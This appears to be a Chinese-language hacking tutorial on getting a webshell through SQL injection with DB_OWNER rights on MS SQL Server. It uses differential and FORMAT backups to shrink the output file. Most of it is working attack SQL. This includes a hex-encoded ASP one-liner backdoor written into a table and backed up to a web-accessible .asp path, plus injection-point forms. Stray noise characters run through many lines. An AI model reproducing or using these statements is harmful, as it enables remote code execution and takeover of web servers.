DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

. G% n* r9 S6 J# e& q8 X- m6 q: v一利用差异备份
# [- _8 n# z% O$ f7 B6 E" H) y! D加一个参数WITH DIFFERENTIAL
4 J. I: S% ~; m5 p  r
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
7 J, n9 w3 Q  k# Q6 Jcreate table [dbo].[xiaolu] ([cmd] [image]);
5 M+ G9 F, o1 J6 ainsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
7 U9 L  R6 m# I4 s& t( L0 m( Odeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
: B+ x8 r& O  J1 ?加一个参数WITH FROMAT
0 M( \# `1 V4 E; E; \有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
) A* z" A, n5 ]+ u. @5 ]  V0 |! rcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
8 x" P' t0 _6 J2 p5 ^
总的来说就是那么简单几句,下面以备份数据库model为例子

  ?# S1 X/ F& Did=1;use model create table cmd(str image);insert into cmd(str) values (”)
3 B3 E" j8 r7 c
5 B: s! T, D! M8 y: g5 k5 @& ~" q, cid=1;backup database model to disk=’你的路径‘ with differential,format;–

! E: |  d- m  N: [4 `3 J